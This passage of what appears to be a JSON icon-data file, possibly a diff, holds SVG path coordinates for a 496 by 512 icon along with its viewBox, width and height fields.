1.74-6.69.66-13.41.84-20.12.81-6.82.03-13.65-.12-20.45-.79-3.29-.23-6.57-.5-9.83-.95-2.72-.39-5.46-.63-8.17-1.11-4.12-.72-8.25-1.37-12.35-2.22-4.25-.94-8.49-1.89-12.69-3.02-8.63-2.17-17.08-5.01-25.41-8.13-10.49-4.12-20.79-8.75-30.64-14.25-2.14-1.15-4.28-2.29-6.35-3.57-11.22-6.58-21.86-14.1-31.92-22.34-34.68-28.41-61.41-66.43-76.35-108.7-3.09-8.74-5.71-17.65-7.8-26.68-1.48-6.16-2.52-12.42-3.58-18.66-.4-2.35-.61-4.73-.95-7.09-.6-3.96-.75-7.96-1.17-11.94-.8-9.47-.71-18.99-.51-28.49.14-3.51.34-7.01.7-10.51.31-3.17.46-6.37.92-9.52.41-2.81.65-5.65 1.16-8.44.7-3.94 1.3-7.9 2.12-11.82 3.43-16.52 8.47-32.73 15.26-48.18 1.15-2.92 2.59-5.72 3.86-8.59 8.05-16.71 17.9-32.56 29.49-47.06 20-25.38 45.1-46.68 73.27-62.47 7.5-4.15 15.16-8.05 23.07-11.37 15.82-6.88 32.41-11.95 49.31-15.38 3.51-.67 7.04-1.24 10.56-1.85 2.62-.47 5.28-.7 7.91-1.08 3.53-.53 7.1-.68 10.65-1.04 2.46-.24 4.91-.36 7.36-.51m8.64 24.41c-9.23.1-18.43.99-27.57 2.23-7.3 1.08-14.53 2.6-21.71 4.3-13.91 3.5-27.48 8.34-40.46 14.42-10.46 4.99-20.59 10.7-30.18 17.22-4.18 2.92-8.4 5.8-12.34 9.03-5.08 3.97-9.98 8.17-14.68 12.59-2.51 2.24-4.81 4.7-7.22 7.06-28.22 28.79-48.44 65.39-57.5 104.69-2.04 8.44-3.54 17.02-4.44 25.65-1.1 8.89-1.44 17.85-1.41 26.8.11 7.14.38 14.28 1.22 21.37.62 7.12 1.87 14.16 3.2 21.18 1.07 4.65 2.03 9.32 3.33 13.91 6.29 23.38 16.5 45.7 30.07 65.75 8.64 12.98 18.78 24.93 29.98 35.77 16.28 15.82 35.05 29.04 55.34 39.22 7.28 3.52 14.66 6.87 22.27 9.63 5.04 1.76 10.06 3.57 15.22 4.98 11.26 3.23 22.77 5.6 34.39 7.06 2.91.29 5.81.61 8.72.9 13.82 1.08 27.74 1 41.54-.43 4.45-.6 8.92-.99 13.35-1.78 3.63-.67 7.28-1.25 10.87-2.1 4.13-.98 8.28-1.91 12.36-3.07 26.5-7.34 51.58-19.71 73.58-36.2 15.78-11.82 29.96-25.76 42.12-41.28 3.26-4.02 6.17-8.31 9.13-12.55 3.39-5.06 6.58-10.25 9.6-15.54 2.4-4.44 4.74-8.91 6.95-13.45 5.69-12.05 10.28-24.62 13.75-37.49 2.59-10.01 4.75-20.16 5.9-30.45 1.77-13.47 1.94-27.1 1.29-40.65-.29-3.89-.67-7.77-1-11.66-2.23-19.08-6.79-37.91-13.82-55.8-5.95-15.13-13.53-29.63-22.61-43.13-12.69-18.8-28.24-35.68-45.97-49.83-25.05-20-54.47-34.55-85.65-42.08-7.78-1.93-15.69-3.34-23.63-4.45-3.91-.59-7.85-.82-11.77-1.24-7.39-.57-14.81-.72-22.22-.58zM139.26 83.53c13.3-8.89 28.08-15.38 43.3-20.18-3.17 1.77-6.44 3.38-9.53 5.29-11.21 6.68-21.52 14.9-30.38 24.49-6.8 7.43-12.76 15.73-17.01 24.89-3.29 6.86-5.64 14.19-6.86 21.71-.93 4.85-1.3 9.81-1.17 14.75.13 13.66 4.44 27.08 11.29 38.82 5.92 10.22 13.63 19.33 22.36 27.26 4.85 4.36 10.24 8.09 14.95 12.6 2.26 2.19 4.49 4.42 6.43 6.91 2.62 3.31 4.89 6.99 5.99 11.1.9 3.02.66 6.2.69 9.31.02 4.1-.04 8.2.03 12.3.14 3.54-.02 7.09.11 10.63.08 2.38.02 4.76.05 7.14.16 5.77.06 11.53.15 17.3.11 2.91.02 5.82.13 8.74.03 1.63.13 3.28-.03 4.91-.91.12-1.82.18-2.73.16-10.99 0-21.88-2.63-31.95-6.93-6-2.7-11.81-5.89-17.09-9.83-5.75-4.19-11.09-8.96-15.79-14.31-6.53-7.24-11.98-15.39-16.62-23.95-1.07-2.03-2.24-4.02-3.18-6.12-1.16-2.64-2.62-5.14-3.67-7.82-4.05-9.68-6.57-19.94-8.08-30.31-.49-4.44-1.09-8.88-1.2-13.35-.7-15.73.84-31.55 4.67-46.82 2.12-8.15 4.77-16.18 8.31-23.83 6.32-14.2 15.34-27.18 26.3-38.19 6.28-6.2 13.13-11.84 20.53-16.67zm175.37-20.12c2.74.74 5.41 1.74 8.09 2.68 6.36 2.33 12.68 4.84 18.71 7.96 13.11 6.44 25.31 14.81 35.82 24.97 10.2 9.95 18.74 21.6 25.14 34.34 1.28 2.75 2.64 5.46 3.81 8.26 6.31 15.1 10 31.26 11.23 47.57.41 4.54.44 9.09.45 13.64.07 11.64-1.49 23.25-4.3 34.53-1.97 7.27-4.35 14.49-7.86 21.18-3.18 6.64-6.68 13.16-10.84 19.24-6.94 10.47-15.6 19.87-25.82 27.22-10.48 7.64-22.64 13.02-35.4 15.38-3.51.69-7.08 1.08-10.66 1.21-1.85.06-3.72.16-5.56-.1-.28-2.15 0-4.31-.01-6.46-.03-3.73.14-7.45.1-11.17.19-7.02.02-14.05.21-21.07.03-2.38-.03-4.76.03-7.14.17-5.07-.04-10.14.14-15.21.1-2.99-.24-6.04.51-8.96.66-2.5 1.78-4.86 3.09-7.08 4.46-7.31 11.06-12.96 17.68-18.26 5.38-4.18 10.47-8.77 15.02-13.84 7.68-8.37 14.17-17.88 18.78-28.27 2.5-5.93 4.52-12.1 5.55-18.46.86-4.37 1.06-8.83 1.01-13.27-.02-7.85-1.4-15.65-3.64-23.17-1.75-5.73-4.27-11.18-7.09-16.45-3.87-6.93-8.65-13.31-13.96-19.2-9.94-10.85-21.75-19.94-34.6-27.1-1.85-1.02-3.84-1.82-5.63-2.97zm-100.8 58.45c.98-1.18 1.99-2.33 3.12-3.38-.61.93-1.27 1.81-1.95 2.68-3.1 3.88-5.54 8.31-7.03 13.06-.87 3.27-1.68 6.6-1.73 10-.07 2.52-.08 5.07.32 7.57 1.13 7.63 4.33 14.85 8.77 21.12 2 2.7 4.25 5.27 6.92 7.33 1.62 1.27 3.53 2.09 5.34 3.05 3.11 1.68 6.32 3.23 9.07 5.48 2.67 2.09 4.55 5.33 4.4 8.79-.01 73.67 0 147.34-.01 221.02 0 1.35-.08 2.7.04 4.04.13 1.48.82 2.83 1.47 4.15.86 1.66 1.78 3.34 3.18 4.62.85.77 1.97 1.4 3.15 1.24 1.5-.2 2.66-1.35 3.45-2.57.96-1.51 1.68-3.16 2.28-4.85.76-2.13.44-4.42.54-6.63.14-4.03-.02-8.06.14-12.09.03-5.89.03-11.77.06-17.66.14-3.62.03-7.24.11-10.86.15-4.03-.02-8.06.14-12.09.03-5.99.03-11.98.07-17.97.14-3.62.02-7.24.11-10.86.14-3.93-.02-7.86.14-11.78.03-5.99.03-11.98.06-17.97.16-3.94-.01-7.88.19-11.82.29 1.44.13 2.92.22 4.38.19 3.61.42 7.23.76 10.84.32 3.44.44 6.89.86 10.32.37 3.1.51 6.22.95 9.31.57 4.09.87 8.21 1.54 12.29 1.46 9.04 2.83 18.11 5.09 26.99 1.13 4.82 2.4 9.61 4 14.3 2.54 7.9 5.72 15.67 10.31 22.62 1.73 2.64 3.87 4.98 6.1 7.21.27.25.55.51.88.71.6.25 1.31-.07 1.7-.57.71-.88 1.17-1.94 1.7-2.93 4.05-7.8 8.18-15.56 12.34-23.31.7-1.31 1.44-2.62 2.56-3.61 1.75-1.57 3.84-2.69 5.98-3.63 2.88-1.22 5.9-2.19 9.03-2.42 6.58-.62 13.11.75 19.56 1.85 3.69.58 7.4 1.17 11.13 1.41 3.74.1 7.48.05 11.21-.28 8.55-.92 16.99-2.96 24.94-6.25 5.3-2.24 10.46-4.83 15.31-7.93 11.46-7.21 21.46-16.57 30.04-27.01 1.17-1.42 2.25-2.9 3.46-4.28-1.2 3.24-2.67 6.37-4.16 9.48-1.25 2.9-2.84 5.61-4.27 8.42-5.16 9.63-11.02 18.91-17.75 27.52-4.03 5.21-8.53 10.05-13.33 14.57-6.64 6.05-14.07 11.37-22.43 14.76-8.21 3.37-17.31 4.63-26.09 3.29-3.56-.58-7.01-1.69-10.41-2.88-2.79-.97-5.39-2.38-8.03-3.69-3.43-1.71-6.64-3.81-9.71-6.08 2.71 3.06 5.69 5.86 8.7 8.61 4.27 3.76 8.74 7.31 13.63 10.23 3.98 2.45 8.29 4.4 12.84 5.51 1.46.37 2.96.46 4.45.6-1.25 1.1-2.63 2.04-3.99 2.98-9.61 6.54-20.01 11.86-30.69 16.43-20.86 8.7-43.17 13.97-65.74 15.34-4.66.24-9.32.36-13.98.36-4.98-.11-9.97-.13-14.92-.65-11.2-.76-22.29-2.73-33.17-5.43-10.35-2.71-20.55-6.12-30.3-10.55-8.71-3.86-17.12-8.42-24.99-13.79-1.83-1.31-3.74-2.53-5.37-4.08 6.6-1.19 13.03-3.39 18.99-6.48 5.74-2.86 10.99-6.66 15.63-11.07 2.24-2.19 4.29-4.59 6.19-7.09-3.43 2.13-6.93 4.15-10.62 5.78-4.41 2.16-9.07 3.77-13.81 5.02-5.73 1.52-11.74 1.73-17.61 1.14-8.13-.95-15.86-4.27-22.51-8.98-4.32-2.94-8.22-6.43-11.96-10.06-9.93-10.16-18.2-21.81-25.66-33.86-3.94-6.27-7.53-12.75-11.12-19.22-1.05-2.04-2.15-4.05-3.18-6.1 2.85 2.92 5.57 5.97 8.43 8.88 8.99 8.97 18.56 17.44 29.16 24.48 7.55 4.9 15.67 9.23 24.56 11.03 3.11.73 6.32.47 9.47.81 2.77.28 5.56.2 8.34.3 5.05.06 10.11.04 15.16-.16 3.65-.16 7.27-.66 10.89-1.09 2.07-.25 4.11-.71 6.14-1.2 3.88-.95 8.11-.96 11.83.61 4.76 1.85 8.44 5.64 11.38 9.71 2.16 3.02 4.06 6.22 5.66 9.58 1.16 2.43 2.46 4.79 3.55 7.26 1 2.24 2.15 4.42 3.42 6.52.67 1.02 1.4 2.15 2.62 2.55 1.06-.75 1.71-1.91 2.28-3.03 2.1-4.16 3.42-8.65 4.89-13.05 2.02-6.59 3.78-13.27 5.19-20.02 2.21-9.25 3.25-18.72 4.54-28.13.56-3.98.83-7.99 1.31-11.97.87-10.64 1.9-21.27 2.24-31.94.08-1.86.24-3.71.25-5.57.01-4.35.25-8.69.22-13.03-.01-2.38-.01-4.76 0-7.13.05-5.07-.2-10.14-.22-15.21-.2-6.61-.71-13.2-1.29-19.78-.73-5.88-1.55-11.78-3.12-17.51-2.05-7.75-5.59-15.03-9.8-21.82-3.16-5.07-6.79-9.88-11.09-14.03-3.88-3.86-8.58-7.08-13.94-8.45-1.5-.41-3.06-.45-4.59-.64.07-2.99.7-5.93 1.26-8.85 1.59-7.71 3.8-15.3 6.76-22.6 1.52-4.03 3.41-7.9 5.39-11.72 3.45-6.56 7.62-12.79 12.46-18.46zm31.27 1.7c.35-.06.71-.12 1.07-.19.19 1.79.09 3.58.1 5.37v38.13c-.01 1.74.13 3.49-.15 5.22-.36-.03-.71-.05-1.06-.05-.95-3.75-1.72-7.55-2.62-11.31-.38-1.53-.58-3.09-1.07-4.59-1.7-.24-3.43-.17-5.15-.2-5.06-.01-10.13 0-15.19-.01-1.66-.01-3.32.09-4.98-.03-.03-.39-.26-.91.16-1.18 1.28-.65 2.72-.88 4.06-1.35 3.43-1.14 6.88-2.16 10.31-3.31 1.39-.48 2.9-.72 4.16-1.54.04-.56.02-1.13-.05-1.68-1.23-.55-2.53-.87-3.81-1.28-3.13-1.03-6.29-1.96-9.41-3.02-1.79-.62-3.67-1-5.41-1.79-.03-.37-.07-.73-.11-1.09 5.09-.19 10.2.06 15.3-.12 3.36-.13 6.73.08 10.09-.07.12-.39.26-.77.37-1.16 1.08-4.94 2.33-9.83 3.39-14.75zm5.97-.2c.36.05.72.12 1.08.2.98 3.85 1.73 7.76 2.71 11.61.36 1.42.56 2.88 1.03 4.27 2.53.18 5.07-.01 7.61.05 5.16.12 10.33.12 15.49.07.76-.01 1.52.03 2.28.08-.04.36-.07.72-.1 1.08-1.82.83-3.78 1.25-5.67 1.89-3.73 1.23-7.48 2.39-11.22 3.57-.57.17-1.12.42-1.67.64-.15.55-.18 1.12-.12 1.69.87.48 1.82.81 2.77 1.09 4.88 1.52 9.73 3.14 14.63 4.6.38.13.78.27 1.13.49.4.27.23.79.15 1.18-1.66.13-3.31.03-4.97.04-5.17.01-10.33-.01-15.5.01-1.61.03-3.22-.02-4.82.21-.52 1.67-.72 3.42-1.17 5.11-.94 3.57-1.52 7.24-2.54 10.78-.36.01-.71.02-1.06.06-.29-1.73-.15-3.48-.15-5.22v-38.13c.02-1.78-.08-3.58.11-5.37zM65.05 168.33c1.12-2.15 2.08-4.4 3.37-6.46-1.82 7.56-2.91 15.27-3.62 23-.8 7.71-.85 15.49-.54 23.23 1.05 19.94 5.54 39.83 14.23 57.88 2.99 5.99 6.35 11.83 10.5 17.11 6.12 7.47 12.53 14.76 19.84 21.09 4.8 4.1 9.99 7.78 15.54 10.8 3.27 1.65 6.51 3.39 9.94 4.68 5.01 2.03 10.19 3.61 15.42 4.94 3.83.96 7.78 1.41 11.52 2.71 5 1.57 9.47 4.61 13.03 8.43 4.93 5.23 8.09 11.87 10.2 18.67.99 2.9 1.59 5.91 2.17 8.92.15.75.22 1.52.16 2.29-6.5 2.78-13.26 5.06-20.26 6.18-4.11.78-8.29.99-12.46 1.08-10.25.24-20.47-1.76-30.12-5.12-3.74-1.42-7.49-2.85-11.03-4.72-8.06-3.84-15.64-8.7-22.46-14.46-2.92-2.55-5.83-5.13-8.4-8.03-9.16-9.83-16.3-21.41-21.79-33.65-2.39-5.55-4.61-11.18-6.37-16.96-1.17-3.94-2.36-7.89-3.26-11.91-.75-2.94-1.22-5.95-1.87-8.92-.46-2.14-.69-4.32-1.03-6.48-.85-5.43-1.28-10.93-1.33-16.43.11-6.18.25-12.37 1.07-18.5.4-2.86.67-5.74 1.15-8.6.98-5.7 2.14-11.37 3.71-16.93 3.09-11.65 7.48-22.95 12.69-33.84zm363.73-6.44c1.1 1.66 1.91 3.48 2.78 5.26 2.1 4.45 4.24 8.9 6.02 13.49 7.61 18.76 12.3 38.79 13.04 59.05.02 1.76.07 3.52.11 5.29.13 9.57-1.27 19.09-3.18 28.45-.73 3.59-1.54 7.17-2.58 10.69-4.04 14.72-10 29-18.41 41.78-8.21 12.57-19.01 23.55-31.84 31.41-5.73 3.59-11.79 6.64-18.05 9.19-5.78 2.19-11.71 4.03-17.8 5.11-6.4 1.05-12.91 1.52-19.4 1.23-7.92-.48-15.78-2.07-23.21-4.85-1.94-.8-3.94-1.46-5.84-2.33-.21-1.51.25-2.99.53-4.46 1.16-5.74 3.03-11.36 5.7-16.58 2.37-4.51 5.52-8.65 9.46-11.9 2.43-2.05 5.24-3.61 8.16-4.83 3.58-1.5 7.47-1.97 11.24-2.83 7.23-1.71 14.37-3.93 21.15-7 10.35-4.65 19.71-11.38 27.65-19.46 1.59-1.61 3.23-3.18 4.74-4.87 3.37-3.76 6.71-7.57 9.85-11.53 7.48-10.07 12.82-21.59 16.71-33.48 1.58-5.3 3.21-10.6 4.21-16.05.63-2.87 1.04-5.78 1.52-8.68.87-6.09 1.59-12.22 1.68-18.38.12-6.65.14-13.32-.53-19.94-.73-7.99-1.87-15.96-3.71-23.78z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M235.76 10.23c7.5-.31 15-.28 22.5-.09 3.61.14 7.2.4 10.79.73 4.92.27 9.79 1.03 14.67 1.62 2.93.43 5.83.98 8.75 1.46 7.9 1.33 15.67 3.28 23.39 5.4 12.24 3.47 24.19 7.92 35.76 13.21 26.56 12.24 50.94 29.21 71.63 49.88 20.03 20.09 36.72 43.55 48.89 69.19 1.13 2.59 2.44 5.1 3.47 7.74 2.81 6.43 5.39 12.97 7.58 19.63 4.14 12.33 7.34 24.99 9.42 37.83.57 3.14 1.04 6.3 1.4 9.47.55 3.83.94 7.69 1.18 11.56.83 8.34.84 16.73.77 25.1-.07 4.97-.26 9.94-.75 14.89-.24 3.38-.51 6.76-.98 10.12-.39 2.72-.63 5.46-1.11 8.17-.9 5.15-1.7 10.31-2.87 15.41-4.1 18.5-10.3 36.55-18.51 53.63-15.77 32.83-38.83 62.17-67.12 85.12a246.503 246.503 0 0 1-56.91 34.86c-6.21 2.68-12.46 5.25-18.87 7.41-3.51 1.16-7.01 2.38-10.57 3.39-6.62 1.88-13.29 3.64-20.04 5-4.66.91-9.34 1.73-14.03 2.48-5.25.66-10.5 1.44-15.79 1.74-6.69.66-13.41.84-20.12.81-6.82.03-13.65-.12-20.45-.79-3.29-.23-6.57-.5-9.83-.95-2.72-.39-5.46-.63-8.17-1.11-4.12-.72-8.25-1.37-12.35-2.22-4.25-.94-8.49-1.89-12.69-3.02-8.63-2.17-17.08-5.01-25.41-8.13-10.49-4.12-20.79-8.75-30.64-14.25-2.14-1.15-4.28-2.29-6.35-3.57-11.22-6.58-21.86-14.1-31.92-22.34-34.68-28.41-61.41-66.43-76.35-108.7-3.09-8.74-5.71-17.65-7.8-26.68-1.48-6.16-2.52-12.42-3.58-18.66-.4-2.35-.61-4.73-.95-7.09-.6-3.96-.75-7.96-1.17-11.94-.8-9.47-.71-18.99-.51-28.49.14-3.51.34-7.01.7-10.51.31-3.17.46-6.37.92-9.52.41-2.81.65-5.65 1.16-8.44.7-3.94 1.3-7.9 2.12-11.82 3.43-16.52 8.47-32.73 15.26-48.18 1.15-2.92 2.59-5.72 3.86-8.59 8.05-16.71 17.9-32.56 29.49-47.06 20-25.38 45.1-46.68 73.27-62.47 7.5-4.15 15.16-8.05 23.07-11.37 15.82-6.88 32.41-11.95 49.31-15.38 3.51-.67 7.04-1.24 10.56-1.85 2.62-.47 5.28-.7 7.91-1.08 3.53-.53 7.1-.68 10.65-1.04 2.46-.24 4.91-.36 7.36-.51m8.64 24.41c-9.23.1-18.43.99-27.57 2.23-7.3 1.08-14.53 2.6-21.71 4.3-13.91 3.5-27.48 8.34-40.46 14.42-10.46 4.99-20.59 10.7-30.18 17.22-4.18 2.92-8.4 5.8-12.34 9.03-5.08 3.97-9.98 8.17-14.68 12.59-2.51 2.24-4.81 4.7-7.22 7.06-28.22 28.79-48.44 65.39-57.5 104.69-2.04 8.44-3.54 17.02-4.44 25.65-1.1 8.89-1.44 17.85-1.41 26.8.11 7.14.38 14.28 1.22 21.37.62 7.12 1.87 14.16 3.2 21.18 1.07 4.65 2.03 9.32 3.33 13.91 6.29 23.38 16.5 45.7 30.07 65.75 8.64 12.98 18.78 24.93 29.98 35.77 16.28 15.82 35.05 29.04 55.34 39.22 7.28 3.52 14.66 6.87 22.27 9.63 5.04 1.76 10.06 3.57 15.22 4.98 11.26 3.23 22.77 5.6 34.39 7.06 2.91.29 5.81.61 8.72.9 13.82 1.08 27.74 1 41.54-.43 4.45-.6 8.92-.99 13.35-1.78 3.63-.67 7.28-1.25 10.87-2.1 4.13-.98 8.28-1.91 12.36-3.07 26.5-7.34 51.58-19.71 73.58-36.2 15.78-11.82 29.96-25.76 42.12-41.28 3.26-4.02 6.17-8.31 9.13-12.55 3.39-5.06 6.58-10.25 9.6-15.54 2.4-4.44 4.74-8.91 6.95-13.45 5.69-12.05 10.28-24.62 13.75-37.49 2.59-10.01 4.75-20.16 5.9-30.45 1.77-13.47 1.94-27.1 1.29-40.65-.29-3.89-.67-7.77-1-11.66-2.23-19.08-6.79-37.91-13.82-55.8-5.95-15.13-13.53-29.63-22.61-43.13-12.69-18.8-28.24-35.68-45.97-49.83-25.05-20-54.47-34.55-85.65-42.08-7.78-1.93-15.69-3.34-23.63-4.45-3.91-.59-7.85-.82-11.77-1.24-7.39-.57-14.81-.72-22.22-.58zM139.26 83.53c13.3-8.89 28.08-15.38 43.3-20.18-3.17 1.77-6.44 3.38-9.53 5.29-11.21 6.68-21.52 14.9-30.38 24.49-6.8 7.43-12.76 15.73-17.01 24.89-3.29 6.86-5.64 14.19-6.86 21.71-.93 4.85-1.3 9.81-1.17 14.75.13 13.66 4.44 27.08 11.29 38.82 5.92 10.22 13.63 19.33 22.36 27.26 4.85 4.36 10.24 8.09 14.95 12.6 2.26 2.19 4.49 4.42 6.43 6.91 2.62 3.31 4.89 6.99 5.99 11.1.9 3.02.66 6.2.69 9.31.02 4.1-.04 8.2.03 12.3.14 3.54-.02 7.09.11 10.63.08 2.38.02 4.76.05 7.14.16 5.77.06 11.53.15 17.3.11 2.91.02 5.82.13 8.74.03 1.63.13 3.28-.03 4.91-.91.12-1.82.18-2.73.16-10.99 0-21.88-2.63-31.95-6.93-6-2.7-11.81-5.89-17.09-9.83-5.75-4.19-11.09-8.96-15.79-14.31-6.53-7.24-11.98-15.39-16.62-23.95-1.07-2.03-2.24-4.02-3.18-6.12-1.16-2.64-2.62-5.14-3.67-7.82-4.05-9.68-6.57-19.94-8.08-30.31-.49-4.44-1.09-8.88-1.2-13.35-.7-15.73.84-31.55 4.67-46.82 2.12-8.15 4.77-16.18 8.31-23.83 6.32-14.2 15.34-27.18 26.3-38.19 6.28-6.2 13.13-11.84 20.53-16.67zm175.37-20.12c2.74.74 5.41 1.74 8.09 2.68 6.36 2.33 12.68 4.84 18.71 7.96 13.11 6.44 25.31 14.81 35.82 24.97 10.2 9.95 18.74 21.6 25.14 34.34 1.28 2.75 2.64 5.46 3.81 8.26 6.31 15.1 10 31.26 11.23 47.57.41 4.54.44 9.09.45 13.64.07 11.64-1.49 23.25-4.3 34.53-1.97 7.27-4.35 14.49-7.86 21.18-3.18 6.64-6.68 13.16-10.84 19.24-6.94 10.47-15.6 19.87-25.82 27.22-10.48 7.64-22.64 13.02-35.4 15.38-3.51.69-7.08 1.08-10.66 1.21-1.85.06-3.72.16-5.56-.1-.28-2.15 0-4.31-.01-6.46-.03-3.73.14-7.45.1-11.17.19-7.02.02-14.05.21-21.07.03-2.38-.03-4.76.03-7.14.17-5.07-.04-10.14.14-15.21.1-2.99-.24-6.04.51-8.96.66-2.5 1.78-4.86 3.09-7.08 4.46-7.31 11.06-12.96 17.68-18.26 5.38-4.18 10.47-8.77 15.02-13.84 7.68-8.37 14.17-17.88 18.78-28.27 2.5-5.93 4.52-12.1 5.55-18.46.86-4.37 1.06-8.83 1.01-13.27-.02-7.85-1.4-15.65-3.64-23.17-1.75-5.73-4.27-11.18-7.09-16.45-3.87-6.93-8.65-13.31-13.96-19.2-9.94-10.85-21.75-19.94-34.6-27.1-1.85-1.02-3.84-1.82-5.63-2.97zm-100.8 58.45c.98-1.18 1.99-2.33 3.12-3.38-.61.93-1.27 1.81-1.95 2.68-3.1 3.88-5.54 8.31-7.03 13.06-.87 3.27-1.68 6.6-1.73 10-.07 2.52-.08 5.07.32 7.57 1.13 7.63 4.33 14.85 8.77 21.12 2 2.7 4.25 5.27 6.92 7.33 1.62 1.27 3.53 2.09 5.34 3.05 3.11 1.68 6.32 3.23 9.07 5.48 2.67 2.09 4.55 5.33 4.4 8.79-.01 73.67 0 147.34-.01 221.02 0 1.35-.08 2.7.04 4.04.13 1.48.82 2.83 1.47 4.15.86 1.66 1.78 3.34 3.18 4.62.85.77 1.97 1.4 3.15 1.24 1.5-.2 2.66-1.35 3.45-2.57.96-1.51 1.68-3.16 2.28-4.85.76-2.13.44-4.42.54-6.63.14-4.03-.02-8.06.14-12.09.03-5.89.03-11.77.06-17.66.14-3.62.03-7.24.11-10.86.15-4.03-.02-8.06.14-12.09.03-5.99.03-11.98.07-17.97.14-3.62.02-7.24.11-10.86.14-3.93-.02-7.86.14-11.78.03-5.99.03-11.98.06-17.97.16-3.94-.01-7.88.19-11.82.29 1.44.13 2.92.22 4.38.19 3.61.42 7.23.76 10.84.32 3.44.44 6.89.86 10.32.37 3.1.51 6.22.95 9.31.57 4.09.87 8.21 1.54 12.29 1.46 9.04 2.83 18.11 5.09 26.99 1.13 4.82 2.4 9.61 4 14.3 2.54 7.9 5.72 15.67 10.31 22.62 1.73 2.64 3.87 4.98 6.1 7.21.27.25.55.51.88.71.6.25 1.31-.07 1.7-.57.71-.88 1.17-1.94 1.7-2.93 4.05-7.8 8.18-15.56 12.34-23.31.7-1.31 1.44-2.62 2.56-3.61 1.75-1.57 3.84-2.69 5.98-3.63 2.88-1.22 5.9-2.19 9.03-2.42 6.58-.62 13.11.75 19.56 1.85 3.69.58 7.4 1.17 11.13 1.41 3.74.1 7.48.05 11.21-.28 8.55-.92 16.99-2.96 24.94-6.25 5.3-2.24 10.46-4.83 15.31-7.93 11.46-7.21 21.46-16.57 30.04-27.01 1.17-1.42 2.25-2.9 3.46-4.28-1.2 3.24-2.67 6.37-4.16 9.48-1.25 2.9-2.84 5.61-4.27 8.42-5.16 9.63-11.02 18.91-17.75 27.52-4.03 5.21-8.53 10.05-13.33 14.57-6.64 6.05-14.07 11.37-22.43 14.76-8.21 3.37-17.31 4.63-26.09 3.29-3.56-.58-7.01-1.69-10.41-2.88-2.79-.97-5.39-2.38-8.03-3.69-3.43-1.71-6.64-3.81-9.71-6.08 2.71 3.06 5.69 5.86 8.7 8.61 4.27 3.76 8.74 7.31 13.63 10.23 3.98 2.45 8.29 4.4 12.84 5.51 1.46.37 2.96.46 4.45.6-1.25 1.1-2.63 2.04-3.99 2.98-9.61 6.54-20.01 11.86-30.69 16.43-20.86 8.7-43.17 13.97-65.74 15.34-4.66.24-9.32.36-13.98.36-4.98-.11-9.97-.13-14.92-.65-11.2-.76-22.29-2.73-33.17-5.43-10.35-2.71-20.55-6.12-30.3-10.55-8.71-3.86-17.12-8.42-24.99-13.79-1.83-1.31-3.74-2.53-5.37-4.08 6.6-1.19 13.03-3.39 18.99-6.48 5.74-2.86 10.99-6.66 15.63-11.07 2.24-2.19 4.29-4.59 6.19-7.09-3.43 2.13-6.93 4.15-10.62 5.78-4.41 2.16-9.07 3.77-13.81 5.02-5.73 1.52-11.74 1.73-17.61 1.14-8.13-.95-15.86-4.27-22.51-8.98-4.32-2.94-8.22-6.43-11.96-10.06-9.93-10.16-18.2-21.81-25.66-33.86-3.94-6.27-7.53-12.75-11.12-19.22-1.05-2.04-2.15-4.05-3.18-6.1 2.85 2.92 5.57 5.97 8.43 8.88 8.99 8.97 18.56 17.44 29.16 24.48 7.55 4.9 15.67 9.23 24.56 11.03 3.11.73 6.32.47 9.47.81 2.77.28 5.56.2 8.34.3 5.05.06 10.11.04 15.16-.16 3.65-.16 7.27-.66 10.89-1.09 2.07-.25 4.11-.71 6.14-1.2 3.88-.95 8.11-.96 11.83.61 4.76 1.85 8.44 5.64 11.38 9.71 2.16 3.02 4.06 6.22 5.66 9.58 1.16 2.43 2.46 4.79 3.55 7.26 1 2.24 2.15 4.42 3.42 6.52.67 1.02 1.4 2.15 2.62 2.55 1.06-.75 1.71-1.91 2.28-3.03 2.1-4.16 3.42-8.65 4.89-13.05 2.02-6.59 3.78-13.27 5.19-20.02 2.21-9.25 3.25-18.72 4.54-28.13.56-3.98.83-7.99 1.31-11.97.87-10.64 1.9-21.27 2.24-31.94.08-1.86.24-3.71.25-5.57.01-4.35.25-8.69.22-13.03-.01-2.38-.01-4.76 0-7.13.05-5.07-.2-10.14-.22-15.21-.2-6.61-.71-13.2-1.29-19.78-.73-5.88-1.55-11.78-3.12-17.51-2.05-7.75-5.59-15.03-9.8-21.82-3.16-5.07-6.79-9.88-11.09-14.03-3.88-3.86-8.58-7.08-13.94-8.45-1.5-.41-3.06-.45-4.59-.64.07-2.99.7-5.93 1.26-8.85 1.59-7.71 3.8-15.3 6.76-22.6 1.52-4.03 3.41-7.9 5.39-11.72 3.45-6.56 7.62-12.79 12.46-18.46zm31.27 1.7c.35-.06.71-.12 1.07-.19.19 1.79.09 3.58.1 5.37v38.13c-.01 1.74.13 3.49-.15 5.22-.36-.03-.71-.05-1.06-.05-.95-3.75-1.72-7.55-2.62-11.31-.38-1.53-.58-3.09-1.07-4.59-1.7-.24-3.43-.17-5.15-.2-5.06-.01-10.13 0-15.19-.01-1.66-.01-3.32.09-4.98-.03-.03-.39-.26-.91.16-1.18 1.28-.65 2.72-.88 4.06-1.35 3.43-1.14 6.88-2.16 10.31-3.31 1.39-.48 2.9-.72 4.16-1.54.04-.56.02-1.13-.05-1.68-1.23-.55-2.53-.87-3.81-1.28-3.13-1.03-6.29-1.96-9.41-3.02-1.79-.62-3.67-1-5.41-1.79-.03-.37-.07-.73-.11-1.09 5.09-.19 10.2.06 15.3-.12 3.36-.13 6.73.08 10.09-.07.12-.39.26-.77.37-1.16 1.08-4.94 2.33-9.83 3.39-14.75zm5.97-.2c.36.05.72.12 1.08.2.98 3.85 1.73 7.76 2.71 11.61.36 1.42.56 2.88 1.03 4.27 2.53.18 5.07-.01 7.61.05 5.16.12 10.33.12 15.49.07.76-.01 1.52.03 2.28.08-.04.36-.07.72-.1 1.08-1.82.83-3.78 1.25-5.67 1.89-3.73 1.23-7.48 2.39-11.22 3.57-.57.17-1.12.42-1.67.64-.15.55-.18 1.12-.12 1.69.87.48 1.82.81 2.77 1.09 4.88 1.52 9.73 3.14 14.63 4.6.38.13.78.27 1.13.49.4.27.23.79.15 1.18-1.66.13-3.31.03-4.97.04-5.17.01-10.33-.01-15.5.01-1.61.03-3.22-.02-4.82.21-.52 1.67-.72 3.42-1.17 5.11-.94 3.57-1.52 7.24-2.54 10.78-.36.01-.71.02-1.06.06-.29-1.73-.15-3.48-.15-5.22v-38.13c.02-1.78-.08-3.58.11-5.37zM65.05 168.33c1.12-2.15 2.08-4.4 